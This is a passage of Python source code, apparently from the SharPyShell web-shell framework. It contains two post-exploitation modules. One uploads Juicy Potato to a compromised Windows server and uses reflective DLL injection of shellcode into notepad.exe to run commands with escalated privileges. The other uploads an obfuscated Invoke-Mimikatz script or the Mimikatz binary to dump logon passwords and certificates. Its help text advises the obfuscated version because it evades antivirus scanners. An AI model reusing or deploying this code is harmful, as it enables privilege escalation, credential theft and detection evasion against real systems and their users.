Environment.GetEnvironmentVariable("ComSpec"); ProcessStartInfo pinfo = new ProcessStartInfo(); pinfo.FileName = exe_path; pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\""; pinfo.RedirectStandardOutput = true; pinfo.RedirectStandardError = true; pinfo.UseShellExecute = false; pinfo.WorkingDirectory = working_path; Process p = new Process(); try{ p = Process.Start(pinfo); } catch (Exception e){ return "{{{SharPyShellError}}}\n" + e; } StreamReader stmrdr_output = p.StandardOutput; StreamReader stmrdr_errors = p.StandardError; string output = ""; string stand_out = stmrdr_output.ReadToEnd(); string stand_errors = stmrdr_errors.ReadToEnd(); stmrdr_output.Close(); stmrdr_errors.Close(); if (!String.IsNullOrEmpty(stand_out)) output = output + stand_out; if (!String.IsNullOrEmpty(stand_errors)) output = "{{{SharPyShellError}}}\n" + output + stand_errors; return output; } public byte[] ExecRuntime() { string output_func=ExecCmd(@"%s", @"%s", @"%s", @"%s"); byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); return(output_func_byte); } } """ __default_exec_type = 'reflective_dll' __default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}' __default_custom_shellcode_path = 'default' def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object) self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode, module_settings, request_object) def __parse_run_args(self, args): if len(args) < 1: raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n') args_parser = {k: v for k, v in enumerate(args)} cmd = args_parser.get(0) exec_type = args_parser.get(1, self.__default_exec_type) self.__random_listening_port = str(random.randint(10000, 65000)) clsid = args_parser.get(2, self.__default_clsid) arguments = ' -t * -l %s -c %s -p ' arguments = arguments % (self.__random_listening_port, clsid) custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path ) return cmd, exec_type, arguments, custom_shellcode_path, clsid def __lookup_binary(self): if 'JuicyPotato.exe' in self._module_settings.keys(): bin_path = self._module_settings['JuicyPotato.exe'] else: exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe' remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe' print '\n\n\nUploading Juicy Potato binary....\n' upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path])) print upload_response self._module_settings['JuicyPotato.exe'] = remote_upload_path bin_path = remote_upload_path return bin_path def __run_exe_version(self, cmd, arguments): exe_path = self.__lookup_binary() working_path = self._module_settings['working_directory'] request = self._runtime_code % (exe_path, arguments, cmd, working_path) encrypted_request = self._encrypt_request(request) encrypted_response = self._post_request(encrypted_request) decrypted_response = self._decrypt_response(encrypted_response) parsed_response = self._parse_response(decrypted_response) return parsed_response def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid): LogFile = logfile remote_process = 'notepad.exe' CLSID = clsid ListeningPort = self.__random_listening_port RpcServerHost = '127.0.0.1' RpcServerPort = '135' ListeningAddress = '127.0.0.1' if custom_shellcode_path == 'default': shellcode_bytes = shellcode.winexec_x64 + 'cmd /c "' + cmd + '"\00' thread_timeout = '60000' else: thread_timeout = '0' with open(custom_shellcode_path, 'rb') as file_handle: shellcode_bytes = file_handle.read() configuration = LogFile + '\00' configuration += remote_process + '\00' configuration += CLSID + '\00' configuration += ListeningPort + '\00' configuration += RpcServerHost + '\00' configuration += RpcServerPort + '\00' configuration += ListeningAddress + '\00' configuration += str(len(shellcode_bytes)) + '\00' configuration += shellcode_bytes configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in bytearray(configuration)) + '}' response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual', 'cmd.exe', thread_timeout, configuration_bytes_csharp]) parsed_response = self._parse_response(response) return parsed_response def _create_request(self, args): exe_path, arguments, cmd = args working_path = self._module_settings['working_directory'] return self._runtime_code % (exe_path, arguments, cmd, working_path) def run(self, args): try: cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args) if exec_type == 'exe': response = self.__run_exe_version(cmd, arguments) else: logfile = self._module_settings['env_directory'] + '\\' + random_generator() print '\n\nInjecting Reflective DLL into remote process...' response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid) response += '\nReflective DLL injection executed!\n\n' if custom_shellcode_path == 'default': response += '\nOutput of juicy potato:\n\n' response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile]) parsed_response = self._parse_response(response) except ModuleException as module_exc: parsed_response = str(module_exc) except Exception: parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str(traceback.format_exc()) return parsed_response
def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object) self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode, module_settings, request_object)
class Mimikatz(Module): _exception_class = MimikatzModuleException short_help = "Run an offline version of mimikatz directly in memory" complete_help = r""" This module allows you to run mimikatz in a versatile way. Within this module it is possible to run mimikatz in 2 different way: 'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory; 'exe': the classic mimikatz binary will be uploaded to the server and run with arguments. It is recommended to run the ps1 version because it will be obfuscated and run from memory. The exe version will be just dropped as clear and could be catched by av scanners. Exec_Type can be 'ps1' or 'exe'. Source Code: https://github.com/gentilkiwi/mimikatz https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 Usage: #mimikatz [exec_type] [username] [password] [domain] [custom_command] Positional arguments: exec_type type of running mimikatz. 'ps1' will upload and execute the powershell version of mimikatz 'exe' will upload and execute the classic version of binary mimikatz Default: 'ps1' username username of the user to runas the process password password of the user to runas the process domain domain of the user to runas the process custom_command based on exec_type, the custom command could be: - 'ps1' : powershell code to add to the ps1 mimikatz module; - 'exe' : command line arguments to the mimikatz binary; Default: 'ps1': ';Invoke-Mimikatz -DumpCreds' 'exe': 'privilege::debug sekurlsa::logonpasswords exit' Examples: Run mimikatz as the current user #mimikatz Run mimikatz as a specific local user #mimikatz 'ps1' 'user1' 'password1' Run mimikatz as a specific domain user #mimikatz 'ps1' 'user1' 'password1' 'domain' Run exe version of mimikatz as the current user #mimikatz 'exe' Run exe version of mimikatz as a specific user #mimikatz 'exe' 'user1' 'password1' Run mimikatz with a custom command, i.e. dumping cert #mimikatz 'ps1' '' '' '' ';Invoke-Mimikatz -DumpCerts' Run mimikatz binary with a custom command, i.e. coffee :) #mimikatz 'exe' '' '' '' 'coffee exit' """ __default_exec_type = 'ps1' __default_username = '' __default_password = '' __default_domain = '' __default_ps_command = ';Invoke-Mimikatz -DumpCreds' __default_exe_command = 'privilege::debug sekurlsa::logonpasswords exit' def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object) self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object) self.invoke_ps_module_object = Invoke_ps_module( password, channel_enc_mode, module_settings, request_object) self.invoke_ps_as_module_object = Invoke_ps_module_as( password, channel_enc_mode, module_settings, request_object) def __parse_run_args(self, args): args_parser = {k: v for k, v in enumerate(args)} exec_type = args_parser.get(0, self.__default_exec_type) username = args_parser.get(1, self.__default_username) password = args_parser.get(2, self.__default_password) domain = args_parser.get(3, self.__default_domain) custom_command = args_parser.get( 4, self.__default_exe_command if exec_type == 'exe' else self.__default_ps_command) return exec_type, username, password, domain, custom_command def __lookup_exe_binary(self): if 'mimikatz.exe' in self._module_settings.keys(): bin_path = self._module_settings['mimikatz.exe'] else: exe_path = config.modules_paths + 'exe_modules/mimikatz.exe' remote_upload_path = self._module_settings[ 'env_directory'] + '\\' + random_generator() + '.exe' print '\n\n\nUploading mimikatz binary....\n' upload_response = self._parse_response( self.upload_module_object.run([exe_path, remote_upload_path])) print upload_response self._module_settings['mimikatz.exe'] = remote_upload_path bin_path = remote_upload_path return bin_path def __run_exe_version(self, username, password, domain, custom_command): try: remote_upload_path = self.__lookup_exe_binary() if username == '': response = self.exec_cmd_module_object.run( ['""' + remote_upload_path + '""' + ' ' + custom_command]) else: response = self.runas_module_object.run([ remote_upload_path + ' ' + custom_command, username, password, domain ]) parsed_response = self._parse_response(response) except ModuleException as module_exc: parsed_response = str(module_exc) return parsed_response def __run_ps_version(self, username, password, domain, custom_command): if username == '': response = self.invoke_ps_module_object.run( ['Invoke-Mimikatz.ps1', custom_command]) else: response = self.invoke_ps_as_module_object.run([ 'Invoke-Mimikatz.ps1', username, password, custom_command, domain ]) parsed_response = self._parse_response(response) return parsed_response def run(self, args): try: exec_type, username, password, domain, custom_command = self.__parse_run_args( args) if exec_type == 'exe': response = self.__run_exe_version(username, password, domain, custom_command) else: response = self.__run_ps_version(username, password, domain, custom_command) parsed_response = self._parse_response(response) except ModuleException as module_exc: parsed_response = str(module_exc) except Exception: parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\ str(traceback.format_exc()) return parsed_response